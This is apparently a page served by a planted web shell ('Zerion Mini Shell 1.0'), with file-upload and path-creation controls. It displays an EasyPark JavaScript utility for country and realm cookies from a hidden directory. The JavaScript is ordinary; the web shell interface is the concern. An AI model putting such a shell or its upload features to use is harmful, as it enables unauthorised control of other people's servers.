%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/utils/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/utils/countries.js

import countries from "config/countryData";
import getEnvConstant from "./getEnvConstant";
import { getUniversalCookies } from "./cookies";

const cookieSettings = {
  path: "/",
  sameSite: "strict",
  domain: window.location.host.includes("easypark.net") ? ".easypark.net" : undefined,
  secure: getEnvConstant() !== "develop",
  maxAge: 10 * 365 * 24 * 3600, // A very far future
};

const availableCountries = Object.keys(countries.countryData).filter((country) => country !== "");

const isValidCountry = (countryCode) => availableCountries.indexOf(countryCode) > -1;

export const getCountryFromCookie = () => {
  const countryCode = getUniversalCookies().get("epCountry");

  return (countryCode && isValidCountry(countryCode))
    ? countryCode
    : false;
};

const getRealmByCountry = (countryCode) => countries.countryData[countryCode]?.domain;

export const getRealmFromCookie = () => getUniversalCookies().get("epRealm") || "EASYPARK";

export const setCountryCookie = (countryCode) => {
  getUniversalCookies().set(
    "epCountry",
    countryCode,
    cookieSettings,
  );

  getUniversalCookies().set(
    "epRealm",
    getRealmByCountry(countryCode),
    cookieSettings,
  );
};

Zerion Mini Shell 1.0